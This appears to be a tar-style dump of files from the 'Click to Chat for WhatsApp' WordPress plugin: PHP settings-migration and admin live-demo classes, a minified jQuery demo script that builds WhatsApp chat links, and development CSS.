                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_group', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_group', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     * 
     * share
     */
    public function v3_3_3_update_show_hide_share() {

        $options = get_option('ht_ctc_share');

        // show/hide select settings value 2.0 to 3.3.2
        $show_or_hide = (isset($options['show_or_hide'])) ? esc_html($options['show_or_hide']) : '';

        $n = array();

        // desktop
        $n['display_desktop'] = 'show';
        if ( isset( $options['hideon_desktop'] ) ) {
            $n['display_desktop'] = 'hide';
        }

        // mobile
        $n['display_mobile'] = 'show';
        if ( isset( $options['hideon_mobile'] ) ) {
            $n['display_mobile'] = 'hide';
        }

        /**
         * show / hide
         * 
         * if its hide based on then default is hide and get only show settings and apply
         * if its show based on then default is show and get only hide settings and apply
         */

        $n['display']['show_hide'] = 'setting';

        if ( 'hide' == $show_or_hide ) {
            // default show on all pages (check: show settings)
            
            // new settings - select show
            $n['display']['global_display'] = 'show';

            // check if any hide settings added

            // posts
            if ( isset( $options['hideon_posts'] ) ) {
                $n['display']['posts'] = 'hide';
            }

            // pages
            if ( isset( $options['hideon_page'] ) ) {
                $n['display']['pages'] = 'hide';
            }

            // home page
            if ( isset( $options['hideon_homepage'] ) ) {
                $n['display']['home'] = 'hide';
            }

            // category
            if ( isset( $options['hideon_category'] ) ) {
                $n['display']['category'] = 'hide';
            }

            // archive
            if ( isset( $options['hideon_archive'] ) ) {
                $n['display']['archive'] = 'hide';
            }

            // 404
            if ( isset( $options['hideon_404'] ) ) {
                $n['display']['page_404'] = 'hide';
            }

            // woocommerce product pages
            if ( isset( $options['hideon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'hide';
            }

            // post id's
            if ( isset( $options['list_hideon_pages'] ) ) {
                $n['display']['list_hideon_pages'] = $options['list_hideon_pages'];
            }

            // category names
            if ( isset( $options['list_hideon_cat'] ) ) {
                $n['display']['list_hideon_cat'] = $options['list_hideon_cat'];
            }

        } elseif ( 'show' == $show_or_hide ) {
            
            // default hide on all pages (check: hide)

            // new settings - select hide
            $n['display']['global_display'] = 'hide';

            // check if any hide settings added

            // posts
            if ( isset( $options['showon_posts'] ) ) {
                $n['display']['posts'] = 'show';
            }

            // pages
            if ( isset( $options['showon_page'] ) ) {
                $n['display']['pages'] = 'show';
            }

            // home page
            if ( isset( $options['showon_homepage'] ) ) {
                $n['display']['home'] = 'show';
            }

            // category
            if ( isset( $options['showon_category'] ) ) {
                $n['display']['category'] = 'show';
            }

            // archive
            if ( isset( $options['showon_archive'] ) ) {
                $n['display']['archive'] = 'show';
            }

            // 404
            if ( isset( $options['showon_404'] ) ) {
                $n['display']['page_404'] = 'show';
            }

            // woocommerce product pages
            if ( isset( $options['showon_wooproduct'] ) ) {
                $n['display']['woo_product'] = 'show';
            }

            // post id's
            if ( isset( $options['list_showon_pages'] ) ) {
                $n['display']['list_showon_pages'] = $options['list_showon_pages'];
            }

            // category names
            if ( isset( $options['list_showon_cat'] ) ) {
                $n['display']['list_showon_cat'] = $options['list_showon_cat'];
            }

        }

        $db_values = get_option( 'ht_ctc_share', array() );
        $update_os = array_merge($n, $db_values);
        update_option('ht_ctc_share', $update_os);

    }


    /**
     * updating to v3.3.3 or above
     *  - woocommerce option changed from ht_ctc_chat_options settings to ht_ctc_woo_options
     * 
     * chat
     */
    public function v3_3_3_update_woo() {

        $options = get_option('ht_ctc_woo_options');

        $chat = get_option('ht_ctc_chat_options');


        $woo = array(
            'woo' => 'settings',
        );
        
        if ( isset($chat['woo_pre_filled']) ) {
            $woo['woo_pre_filled'] = $chat['woo_pre_filled'];
        }
        if ( isset($chat['woo_call_to_action']) ) {
            $woo['woo_call_to_action'] = $chat['woo_call_to_action'];
        }

        $db_woo = get_option( 'ht_ctc_woo_options', array() );
        $update_os = array_merge($woo, $db_woo);
        update_option('ht_ctc_woo_options', $update_os);
    }

    /**
     * updating to v3 or above. 
     *  - style 3 Extend to Style-3_1 
     *  - analytics, .. switch to other settings..
     */
    public function v3_update() {

        $ht_ctc_othersettings = get_option('ht_ctc_othersettings');
        $ht_ctc_s3 = get_option('ht_ctc_s3');
        
        // ht_ctc_main_options to ht_ctc_othersettings
        $ht_ctc_main_options = get_option('ht_ctc_main_options');

        if ( $ht_ctc_main_options ) {

            $os = array(
                'hello' => 'world',
            );
            
            if ( isset ( $ht_ctc_main_options['google_analytics'] ) ) {
                $os['google_analytics'] = '1';
            }
            if ( isset ( $ht_ctc_main_options['fb_pixel'] ) ) {
                $os['fb_pixel'] = '1';
            }
            if ( isset ( $ht_ctc_main_options['enable_group'] ) ) {
                $os['enable_group'] = '1';
            }
            if ( isset ( $ht_ctc_main_options['enable_share'] ) ) {
                $os['enable_share'] = '1';
            }

            $db_os = get_option( 'ht_ctc_othersettings', array() );
            $update_os = array_merge($os, $db_os);
            update_option('ht_ctc_othersettings', $update_os);

            // delete ht_ctc_main_options settings, as transfered to other settings
            delete_option( 'ht_ctc_main_options' );
        }
        

        // style-3 type extend is selected.. and if style 3 to 3_1
        if ( isset($ht_ctc_s3['s3_type']) && 'extend' == $ht_ctc_s3['s3_type'] ) {

            $ht_ctc_chat_options = get_option('ht_ctc_chat_options');
            $ht_ctc_group = get_option('ht_ctc_group');
            $ht_ctc_share = get_option('ht_ctc_share');
            
            // this works as s3 type extend came later version of select style dekstop, mobile.
            // chat
            if ( isset($ht_ctc_chat_options['style_desktop']) && isset($ht_ctc_chat_options['style_mobile']) ) {
                if ( '3' == $ht_ctc_chat_options['style_desktop']) {
                    $ht_ctc_chat_options['style_desktop'] = '3_1';
                }
                if ( '3' == $ht_ctc_chat_options['style_mobile']) {
                    $ht_ctc_chat_options['style_mobile'] = '3_1';
                }
                update_option( 'ht_ctc_chat_options', $ht_ctc_chat_options);
            }

            // group
            if (isset($ht_ctc_group['style_desktop'])) {
                if ( '3' == $ht_ctc_group['style_desktop']) {
                    $ht_ctc_group['style_desktop'] = '3_1';
                }
                if ( '3' == $ht_ctc_group['style_mobile']) {
                    $ht_ctc_group['style_mobile'] = '3_1';
                }
                update_option( 'ht_ctc_group', $ht_ctc_group);
            }

            // share
            if (isset($ht_ctc_share['style_desktop'])) {
                if ( '3' == $ht_ctc_share['style_desktop']) {
                    $ht_ctc_share['style_desktop'] = '3_1';
                }
                if ( '3' == $ht_ctc_share['style_mobile']) {
                    $ht_ctc_share['style_mobile'] = '3_1';
                }
                update_option( 'ht_ctc_share', $ht_ctc_share);
            }

        }

    }







}

new HT_CTC_Update_DB();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin_demo/class-ht-ctc-admin-demo.php000064400000027457147510273110022602 0ustar00<?php
/**
 * 
 * Admin demo - main page
 * 
 * _ad_ - admin demo
 * _mp_ - main page
 * _os_ - other settings
 * 
 * @since 3.30
 *  - s1. front end looks like theme button
 *  - for some styles the default view may need to change. like hover effects, .. 
 * 
 * class names added to settings pages for demo purpose:
 * .ctc_no_demo - to display no demo notification
 * .ctc_demo_style
 * .ctc_ad_main_page_on_change_style
 * .ctc_ad_main_page_on_change_input
 * .ctc_ad_main_page_on_change_input_update_var
 * .ctc_demo_position - positions: bottom_top, right_left, side_1_value, side_2_value
 * .ctc_an_demo_btn
 * .ctc_ee_demo_btn
 * .ctc_demo_style
 * .ctc_oninput
 *      attributes - data-update-type
 *                 - data-update-type-2
 *                 - data-update-selector
 * 
 * 
 * class names at demo:
 * ctc_demo_style ctc_demo_style_${style}
 * ctc_demo_load
 * 
 * 
 * direct class names used for demo:
 * .ht-ctc-admin-sidebar .collapsible
 * 
 */
if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Demo' ) ) :

class HT_CTC_Admin_Demo {

    // _get
    public $get_page = '';

    // by default load demo
    public $load_demo = 'yes';

    public function __construct() {
        $this->hooks();
    }

    public function hooks() {

        if ( isset($_GET) && isset($_GET['page']) ) {
            $this->get_page = $_GET['page'];
        } else {
            return;
        }

        /**
         * check if admin demo is active
         * retun if not active
         * 
         * to deactivate from user side:
         *  -> if _GET have &demo=deactive
         *  set ht_ctc_admin_demo_active to yes
         * 
         * to active from user side:
         *  -> if _GET have &demo=active 
         *  set ht_ctc_admin_demo_active to no
         */
        if ( 'click-to-chat' == $this->get_page  || 'click-to-chat-other-settings' == $this->get_page || 'click-to-chat-customize-styles' == $this->get_page) {
            
            // check if admin demo is active.. (added inside to run only in ctc admin pages..)
            $demo_active = get_option( 'ht_ctc_admin_demo_active');

            // check if demo is activating or deactivating..
            if ( isset($_GET['demo']) && 'active' == $_GET['demo'] ) {
                $this->load_demo = 'yes';
                // add option to db
                update_option( 'ht_ctc_admin_demo_active', 'yes' );
            } else if ( isset($_GET['demo']) && 'deactive' == $_GET['demo'] ) {
                $this->load_demo = 'no';
                // add option to db
                update_option( 'ht_ctc_admin_demo_active', 'no' );
            } else {
                // not activating or deactivating.. check if admin demo already deactived...
                if ( 'no' == $demo_active ) {
                    $this->load_demo = 'no';
                }
            }

        }


        // return if load_demo is no
        if ( 'no' == $this->load_demo ) {
            return;
        }

        // below this only run if admin demo is active.. (i.e. user activated demo from user side and only in click to chat admin pages..)


        if ( 'click-to-chat' == $this->get_page || 'click-to-chat-other-settings' == $this->get_page || 'click-to-chat-customize-styles' == $this->get_page ) {
            
            // load styles (widgets)
            add_action('admin_footer', [$this, 'load_styles']);
            
            // enqueue scripts
            add_action('admin_enqueue_scripts', [$this, 'enqueue_scripts']);
            
            // enqueue styles at bottom of the page
            add_action('admin_footer', [$this, 'load_css_bottom']);

            // // other settings page
            // if ( 'click-to-chat-other-settings' == $this->get_page ) {
            // }

            // // customize styles page
            // if ( 'click-to-chat-customize-styles' == $this->get_page ) {
            // }

        }

    }

    // enqueue scripts
    public function enqueue_scripts() {

        $os = get_option('ht_ctc_othersettings');

        $js = 'admin-demo.js';
        
        
        if ( defined('HT_CTC_DEBUG_MODE') ) {
            $js = 'dev/admin-demo.dev.js';
        }
        
        
        $args = true;
        
        global $wp_version;
        
        // if wp version is not null and is greater than 6.3
        if ( !$wp_version && version_compare( $wp_version, '6.3', '>=' ) ) {
            $args = array(
                'in_footer' => true,
                'strategy' => 'defer',
            );
        }

        wp_enqueue_script( 'ht-ctc-admin-demo-js', plugins_url( "new/admin/admin_demo/$js", HT_CTC_PLUGIN_FILE ), ['jquery'], HT_CTC_VERSION, $args );
        
        $this->admin_demo_var();
    }
    
    // enqueue styles at bottom of the page
    function load_css_bottom() {

        $os = get_option('ht_ctc_othersettings');

        $css = 'admin-demo.css';
        $animation_css = 'admin-demo-animations.css';

        if ( defined('HT_CTC_DEBUG_MODE') ) {
            $css = 'dev/admin-demo.dev.css';
            $animation_css = 'dev/admin-demo-animations.dev.css';
        }
        
        wp_enqueue_style( 'ht-ctc-admin-demo-css', plugins_url( "new/admin/admin_demo/$css", HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION );

        // other settings page
        if ( 'click-to-chat-other-settings' == $this->get_page ) {
            wp_enqueue_style( 'ht-ctc-admin-demo-animations-css', plugins_url( "new/admin/admin_demo/$animation_css", HT_CTC_PLUGIN_FILE ), '', HT_CTC_VERSION );
        }
    }

    function admin_demo_var() {

        $options = get_option( 'ht_ctc_chat_options' );

        $number = isset($options['number']) ? esc_attr($options['number']) : '';

        if ( class_exists( 'HT_CTC_Formatting' ) && method_exists( 'HT_CTC_Formatting', 'wa_number' ) ) {
            $number = HT_CTC_Formatting::wa_number( $number );
        }
        
        $pre_filled = isset($options['pre_filled']) ? esc_attr($options['pre_filled']) : '';

        $url_target_d = isset($options['url_target_d']) ? esc_attr($options['url_target_d']) : '_blank';

        $url_structure_m = isset($options['url_structure_m']) ? esc_attr($options['url_structure_m']) : '';
        $url_structure_d = isset($options['url_structure_d']) ? esc_attr($options['url_structure_d']) : '';
        
        $site = HT_CTC_BLOG_NAME;

        $m1 = __( 'No Demo for click: WhatsApp Number is empty', 'click-to-chat-for-whatsapp');
        $m2 = __( 'No Demo for click: URL Target: same tab', 'click-to-chat-for-whatsapp');


        $demo_var = [
            'number' => $number,
            'pre_filled' => $pre_filled,
            'url_target_d' => $url_target_d,
            'url_structure_m' => $url_structure_m,
            'url_structure_d' => $url_structure_d,
            'site' => $site,
            'm1' => $m1,
            'm2' => $m2,
        ];

        wp_localize_script( 'ht-ctc-admin-demo-js', 'ht_ctc_admin_demo_var', $demo_var );
    }


    /**
     * load styles..
     * 
     * main page: load all styles
     * other settings: load only desktop selected style
     * 
     */
    public function load_styles() {

        $options = get_option( 'ht_ctc_chat_options' );
        $othersettings = get_option( 'ht_ctc_othersettings' );

        $styles = array(
            '1', '2', '3', '3_1', '4', '5', '6', '7', '7_1', '8', '99'
        );

        // ctc, ctc customize styles - load all styles. And in ctc other settings load only desktop selected style.
        if ( 'click-to-chat-other-settings' == $this->get_page ) {
            $style_desktop = ( isset( $options['style_desktop']) ) ? esc_attr( $options['style_desktop'] ) : '4';
            $styles = array(
                $style_desktop
            );
        }

        // in styles
        $call_to_action = (isset($options['call_to_action'])) ? __(esc_attr($options['call_to_action']) , 'click-to-chat-for-whatsapp' ) : '';
        if ( '' == $call_to_action ) {
            $call_to_action = "WhatsApp us";
        }
        
        $type = 'chat';
        $is_mobile = '';
        $side_2 = 'right';

        /**
         * .ctc_demo_load_styles parent.. 
         *      greetings.. 
         *      styles.. 
         */
        ?>
        <div class="ctc_demo_load" style="position:fixed; bottom:50px; right:50px; z-index:99999999;">
        <?php
        // // greetings (to load all greetings)
        // include_once HT_CTC_PLUGIN_DIR .'new/tools/demo/demo-greetings.php';

        $notification_count = (isset($othersettings['notification_count'])) ? esc_attr($othersettings['notification_count']) : '1';
        $cs_link = admin_url( 'admin.php?page=click-to-chat-customize-styles' );
        $os_link = admin_url( 'admin.php?page=click-to-chat-other-settings' );

        // load all styles
        foreach ($styles as $style) {
            $class = "ctc_demo_style ctc_demo_style_$style ht_ctc_animation ht_ctc_entry_animation";
            ?>
            <div class="<?= $class ?>" style="display: none; cursor: pointer;">
            <?php
            if ( 'click-to-chat-other-settings' == $this->get_page ) {
                ?>
                <span class="ctc_ad_notification" style="display:none; padding:0px; margin:0px; position:relative; float:right; z-index:9999999;">
                    <span class="ctc_ad_badge" style="position: absolute; top: -11px; right: -11px; font-size:12px; font-weight:600; height:22px; width:22px; box-sizing:border-box; border-radius:50%;border:2px solid #ffffff; background:#ff4c4c; color:#ffffff; display:flex; justify-content:center; align-items:center;"><?= $notification_count ?></span>
                </span>
                <?php
            }
            // no need to santize_file_name. its not user input
            $style = sanitize_file_name( $style );
            $path = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style. '.php';
            include $path;
            ?>
            </div>
            <?php
        }
        ?>
        </div>

        <?php
        /**
         * ctc_menu_at_demo
         *  .ctc_ad_links - displays customize styles and other settings links
         *  .ctc_no_demo_notice - displays no demo notice for some features - e..g. customize styles . s1 add icon, ...
         *  .ctc_demo_messages - displays demo messages - e.g. for no demo for click, same tab., ..
         */
        ?>
        <div class="ctc_menu_at_demo" style="position:fixed; bottom:4px; right:4px; z-index:99999999;">

           <p class="description ctc_ad_links ctc_init_display_none">
                <span class="ctc_ad_page_link"><a target="_blank" href="<?= $cs_link ?>">Customize Styles</a> |</span>
                <span class="ctc_ad_page_link"><a target="_blank" href="<?= $os_link ?>">Animations, Notification badge</a> |</span>

                <span class="ctc_ad_show_hide_demo ctc_ad_show_demo ctc_init_display_none"><a target="_blank"><?php _e( 'Show Demo', 'click-to-chat-for-whatsapp' ); ?></a></span>
                <span class="ctc_ad_show_hide_demo ctc_ad_hide_demo"><a target="_blank"><?php _e( 'Hide Demo', 'click-to-chat-for-whatsapp' ); ?></a></span>
            </p>

            <a href="https://holithemes.com/plugins/click-to-chat/admin-live-preview-messages/#no-live-preview/" target="_blank" class="description ctc_no_demo_notice ctc_init_display_none">No live demo for this feature</a>
            <a href="https://holithemes.com/plugins/click-to-chat/admin-live-preview-messages/" target="_blank" class="description ctc_demo_messages ctc_init_display_none"></a>
        </div>
        <?php

    }




}

new HT_CTC_Admin_Demo();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin_demo/admin-demo.js000064400000025647147510273110020143 0ustar00!function(c){c((function(){var t=window.location.href,_=void 0!==document.title?document.title:"",o=void 0!==screen.width&&screen.width>1024?"no":"yes",e=window.ht_ctc_admin_demo_var?window.ht_ctc_admin_demo_var:{},s="2";!function(){if(c(".ctc_demo_style").on("click",(function(){var c=ht_ctc_admin_demo_var.number,s=ht_ctc_admin_demo_var.pre_filled;try{var n=e.site?e.site:"";s=(s=(s=(s=(s=s.replaceAll("%","%25")).replaceAll("{site}",n)).replaceAll("{url}",t)).replaceAll("{title}",_)).replace(/\[url]/gi,t),s=encodeURIComponent(decodeURI(s))}catch(c){}var a="https://wa.me/"+c+"?text="+s,i=e.url_target_d?e.url_target_d:"_blank",l=e.url_structure_d?e.url_structure_d:"",d=e.url_structure_m?e.url_structure_m:"";"yes"==o?("wa_colon"==d&&(a="whatsapp://send?phone="+c+"&text="+s,i="_self"),e.custom_url_m&&""!==e.custom_url_m&&(a=e.custom_url_m)):("web"==l&&(a="https://web.whatsapp.com/send?phone="+c+"&text="+s),e.custom_url_d&&""!==e.custom_url_d&&(a=e.custom_url_d));var r="popup"==i?"scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=788,height=514,left=100,top=100":"noopener";""==c?b(e.m1):"_self"==i?b(e.m2):window.open(a,i,r)})),c("body").hasClass("toplevel_page_click-to-chat")){var n="";function a(){var t=c(".call_to_action").val();if(c(".ctc_demo_style .ctc_cta").text(t),c(".ctc_demo_style").hide(),c(".ctc_demo_style_"+s).show(),"close"!==n)try{c(".ht-ctc-admin-sidebar .collapsible").collapsible("close"),n="close"}catch(c){}c(".ht-ctc-admin-sidebar .collapsible").on("click",(function(){c(".ctc_demo_style").hide(),y(),n="open"})),y(),c(".ctc_ad_links").show()}c(".select_style_item").on("click",(function(){s=c(".select_style_desktop").val(),a()})),c(".m_select_style_item").on("click",(function(){s=c(".select_style_mobile").val(),a()})),c(".ctc_ad_main_page_on_change_input").on("change input paste",(function(){a()})),c(".ctc_ad_main_page_on_change_input_update_var").on("change input paste",(function(){e[c(this).attr("data-var")]=c(this).val(),a()})),document.addEventListener("ht_ctc_admin_event_valid_number",(function(c){a()})),c(".ctc_demo_position").on("change input paste",(function(){c(this).val();!function(){var t=c(".ctc_demo_position").val(),_="top"==t?"bottom":"top",o=c(".position_right_left").val(),e="left"==o?"right":"left",s=/^\d+$/,n=c(".position_right_left_value").val();""==n?n="0px":s.test(n)&&(n+="px");var i=c(".position_bottom_top_value").val();""==i?i="0px":s.test(i)&&(i+="px");var l={[t]:i,[o]:n,[_]:"unset",[e]:"unset"};c(".ctc_demo_load").css(l),function(){var t=c(".position_right_left").val();"left"==t?(c(".ctc_s_2 .ctc_cta").css("order","1"),c(".ctc_s_3 .ctc_cta").css("order","1"),c(".ctc_s_3_1 .ctc_cta").css("order","1"),c(".ctc_s_7 .ctc_cta").css("order","1"),c(".ctc_s_5 .s5_content ").css("order","1"),c(".ctc_s_5 .s5_content ").removeClass("right").addClass("left"),c(".ctc_s_7_1 .ctc_cta").css({order:"1","padding-left":"0px","padding-right":"21px"})):(c(".ctc_s_2 .ctc_cta").css("order","0"),c(".ctc_s_3 .ctc_cta").css("order","0"),c(".ctc_s_3_1 .ctc_cta").css("order","0"),c(".ctc_s_7 .ctc_cta").css("order","0"),c(".ctc_s_5 .s5_content").css("order","0"),c(".ctc_s_5 .s5_content ").removeClass("left").addClass("right"),c(".ctc_s_7_1 .ctc_cta").css({order:"0","padding-left":"21px","padding-right":"0px"}))}(),a(),y(),c(".ctc_menu_at_demo .ctc_ad_page_link").remove()}()}))}if(c("body").hasClass("click-to-chat_page_click-to-chat-other-settings")){c(".ctc_ad_page_link").remove(),c(".ctc_ad_links").css("margin","0 50px").show(),c(".ctc_demo_style").show();var i="";c(".select_an_type").val();function l(){c(".ctc_demo_style").removeClass(i);var t=c(".select_an_type").val();i="ht_ctc_an_"+t,c(".ctc_demo_style").addClass(i);var _=c("#an_delay").val(),o=c("#an_itr").val(),e={"animation-delay":_?_+"s":"0","animation-iteration-count":o||"1"};c(".ctc_demo_style.ht_ctc_animation").css(e),"no-animation"==t?c(".ctc_an_demo_btn").hide():c(".ctc_an_demo_btn").show()}c(".select_an_type").on("change",(function(c){l()})),c(".ctc_an_demo_btn").on("click",(function(t){c(".ctc_demo_style").removeClass(i),setTimeout((()=>{l()}),100)}));var d="";c(".select_an_type").val();function r(){c(".ctc_demo_style").removeClass(i),c(".ctc_demo_style").removeClass(d);c(".ctc_demo_style.ht_ctc_animation").css({"animation-delay":"unset","animation-iteration-count":"unset"}),c(".ctc_demo_style").hide();var t=c(".show_effect").val();"From Center"==t?(d="ht_ctc_an_entry_center",c(".ctc_demo_style").addClass(d),c(".ctc_demo_style").show()):"From Corner"==t&&setTimeout((()=>{c(".ctc_demo_style").show(180)}),100),"no-show-effects"==t?c(".ctc_ee_demo_btn").hide():c(".ctc_ee_demo_btn").show()}c(".show_effect").on("change",(function(c){r()})),c(".ctc_ee_demo_btn").on("click",(function(t){c(".ctc_demo_style").removeClass(d),setTimeout((()=>{r()}),100)}));var h,m="";if(c(".notification_badge").is(":checked")){m="yes";var u=c(".field_notification_time").val();u=u&&""!=u?u:0,setTimeout((()=>{v(),p()}),1e3*u)}function v(){if(c(".notification_badge").is(":checked")){m="yes",c(".ctc_ad_notification").show();var t=c(".field_notification_bg_color").val();c(".ctc_ad_badge").css("background-color",t);var _=c(".field_notification_text_color").val();c(".ctc_ad_badge").css("color",_)}else m="no",c(".ctc_ad_notification").hide()}function f(){var t=c(".field_notification_border_color").val();border=""!==t?"2px solid "+t:"none",c(".ctc_ad_badge").css("border",border)}function p(){if(document.querySelector(".ctc_nb")){var t=c(".ctc_ad_badge").closest(".ctc_demo_style");c(".ctc_ad_badge").css({top:c(t).find(".ctc_nb").attr("data-nb_top"),right:c(t).find(".ctc_nb").attr("data-nb_right")})}}c(".notification_badge").on("change",(function(c){v(),p(),f()})),c(".notification_border_color_field .wp-picker-container").on("click",(function(c){f()})),c(document).on("change, input, keyup",".field_notification_bg_color, .field_notification_text_color, .field_notification_border_color",(function(){v()})),c(".field_notification_count").on("change",(function(){var t=c(this).val();c(".ctc_ad_badge").text(t)})),c(".field_notification_time").on("change",(function(){c(".ctc_ad_notification").hide(),clearTimeout(h);var t=c(this).val();t=t&&""!=t?t:0,h=setTimeout((()=>{"yes"==m&&c(".ctc_ad_notification").show()}),1e3*t)}))}var g;function b(t=""){var _;clearTimeout(_),c(".ctc_ad_links").hide(),c(".ctc_demo_messages").html(t),c(".ctc_demo_messages").hide().fadeIn(500),_=setTimeout((()=>{c(".ctc_demo_messages").hide(120),c(".ctc_ad_links").show(120)}),9e3)}function y(){c(".ctc_demo_messages").hide(),c(".ctc_ad_links").hide(),c(".ctc_no_demo_notice").hide()}c("body").hasClass("click-to-chat_page_click-to-chat-customize-styles")&&(c(".ctc_ad_page_link").remove(),c(".ctc_ad_links").css("margin","0 50px"),c(".ht_ctc_customize_style").on("click",(function(){var t=c(this).attr("data-style");c(".ctc_demo_style_"+t).show(),c(".ctc_demo_style").not(".ctc_demo_style_"+t).hide(),c(".ctc_ad_links").show()})),c(".wp-picker-container").on("click",(function(){var t=c(this).closest(".ht_ctc_customize_style"),_=c(t).attr("data-style");_&&(c(".ctc_demo_style_"+_).show(),c(".ctc_demo_style").not(".ctc_demo_style_"+_).hide())})),c(".ctc_s_3_1").hover((function(){c(".ctc_s_3_1 .ht_ctc_padding").css("background-color",c("#s3_1_bg_color_hover").val()),!c("#s3_box_shadow").is(":checked")&&c("#s3_box_shadow_hover").is(":checked")&&c(".ctc_s_3_1 .ht_ctc_padding").css("box-shadow","0px 0px 11px rgba(0,0,0,.5)")}),(function(){c(".ctc_s_3_1 .ht_ctc_padding").css("background-color",c("#s3_1_bg_color").val()),!c("#s3_box_shadow").is(":checked")&&c("#s3_box_shadow_hover").is(":checked")&&c(".ctc_s_3_1 .ht_ctc_padding").css("box-shadow","unset")})),c("#s3_box_shadow").on("change",(function(t){c("#s3_box_shadow").is(":checked")?c(".ctc_s_3_1 .ht_ctc_padding").css("box-shadow","0px 0px 11px rgba(0,0,0,.5)"):c(".ctc_s_3_1 .ht_ctc_padding").css("box-shadow","unset")})),c(".s4_img_position").on("change",(function(t){var _=c(this).val();"left"==_?(c(".ctc_s_4 .s4_img").css("margin","0 8px 0 -12px"),c(".ctc_s_4 .s4_img").css("order","0")):"right"==_&&(c(".ctc_s_4 .s4_img").css("margin","0 -12px 0 8px"),c(".ctc_s_4 .s4_img").css("order","1"))})),c(".ctc_s_6").hover((function(){c(".ctc_s_6").css({color:c("#s6_txt_color_on_hover").val(),"text-decoration":c("#s6_txt_decoration_on_hover").find(":selected").val()})}),(function(){c(".ctc_s_6").css({color:c("#s6_txt_color").val(),"text-decoration":c("#s6_txt_decoration").find(":selected").val()})})),c(".ctc_s_7").hover((function(){c(".ctc_s_7 svg path").css("fill",c("#s7_icon_color_hover").val()),c(".ctc_s_7 .ctc_s_7_icon_padding").css("background-color",c("#s7_border_color_hover").val())}),(function(){c(".ctc_s_7 svg path").css("fill",c("#s7_icon_color").val()),c(".ctc_s_7 .ctc_s_7_icon_padding").css("background-color",c("#s7_border_color").val())})),c(".ctc_s_7_1").hover((function(){c(".ctc_s_7_1 svg path").css("fill",c("#s7_1_icon_color_hover").val()),c(".ctc_s_7_1 .ctc_s_7_1_cta").css("color",c("#s7_1_icon_color_hover").val()),c(".ctc_s_7_1").css("background-color",c("#s7_1_bgcolor_hover").val()),c(".ctc_s_7_1 .ctc_s_7_icon_padding").css("background-color",c("#s7_1_bgcolor_hover").val())}),(function(){c(".ctc_s_7_1 svg path").css("fill",c("#s7_1_icon_color").val()),c(".ctc_s_7_1 .ctc_s_7_1_cta").css("color",c("#s7_1_icon_color").val()),c(".ctc_s_7_1").css("background-color",c("#s7_1_bgcolor").val()),c(".ctc_s_7_1 .ctc_s_7_icon_padding").css("background-color",c("#s7_1_bgcolor").val())})),c(".ctc_s_8").hover((function(){c(".ctc_s_8 .s_8").css({"background-color":c("#s8_bg_color_on_hover").val()}),c(".ctc_s_8 .s8_span").css("color",c("#s8_txt_color_on_hover").val()),c(".ctc_s_8 svg path").css("fill",c("#s8_icon_color_on_hover").val())}),(function(){c(".ctc_s_8 .s_8").css({"background-color":c("#s8_bg_color").val()}),c(".ctc_s_8 .s8_span").css("color",c("#s8_txt_color").val()),c(".ctc_s_8 svg path").css("fill",c("#s8_icon_color").val())})),c(".ctc_oninput").on("change paste keyup",(function(t){var _=c(this).attr("data-update-type");y();var o=c(this).val(),e=c(this).attr("data-update-selector");if(_&&e)if("text"==_)c(e).text(o);else if("cta"==_){var s=c(e).closest(".ctc_demo_style");"show"==o?(c(e).show(),c(e).removeClass("ht-ctc-cta-hover"),c(s).removeAttr("title")):"hide"==o?(c(e).hide(),c(e).removeClass("ht-ctc-cta-hover"),c(s).attr("title","Call to action")):"hover"==o&&(c(e).hide(),c(e).addClass("ht-ctc-cta-hover"),c(s).removeAttr("title"))}else{c(e).css(_,o);var n=c(this).attr("data-update-type-2");n&&c(e).css(n,o)}}))),c(".ctc_no_demo").on("change paste keyup",(function(t){y(),clearTimeout(g),c(".ctc_no_demo_notice").hide().fadeIn(500),g=setTimeout((()=>{c(".ctc_no_demo_notice").hide(120)}),5e3)})),c(".ctc_demo_style").hover((function(){c(".ctc_demo_style .ht-ctc-cta-hover").show(120)}),(function(){c(".ctc_demo_style .ht-ctc-cta-hover").hide(100)})),function(){const t=c(".ctc_ad_show_demo"),_=c(".ctc_ad_hide_demo"),o=c(".ctc_demo_load"),e=c(".ctc_ad_page_link");t.on("click",(function(){o.show(),t.hide(),_.show(),e.show()})),_.on("click",(function(){o.hide(),_.hide(),t.show(),e.hide()}))}()}()}))}(jQuery);click-to-chat-for-whatsapp/new/admin/admin_demo/dev/admin-demo.dev.css000064400000000705147510273110021636 0ustar00/* .ctc_demo_load {
    background: yellow;
    padding: 40px;
    min-width: 400px;
    min-height: 200px;
} */

.ctc_run_demo_btn {
    cursor: pointer;
    width: fit-content;
    border-bottom: 1px solid #ddd;
}

.ctc_ad_show_hide_demo {
    cursor: pointer;
}



/* less than 1200 */
@media only screen and (max-width: 1200px) {

    .ctc_ad_page_link,
    .ctc_run_demo_btn {
        display: none !important;
    }

}
click-to-chat-for-whatsapp/new/admin/admin_demo/dev/admin-demo-animations.dev.css000064400000007041147510273110023776 0ustar00

/* entry animations */
.ht_ctc_entry_animation {
    animation-duration: center;
    animation-fill-mode: both;
    animation-delay: 0s;
    animation-iteration-count: 1;
}

@keyframes center {
    from {
        transform: scale(0);
    }

    to {
        transform: scale(1);
    }
}

.ht_ctc_an_entry_center {
    animation: center .25s;
}




/* animations */

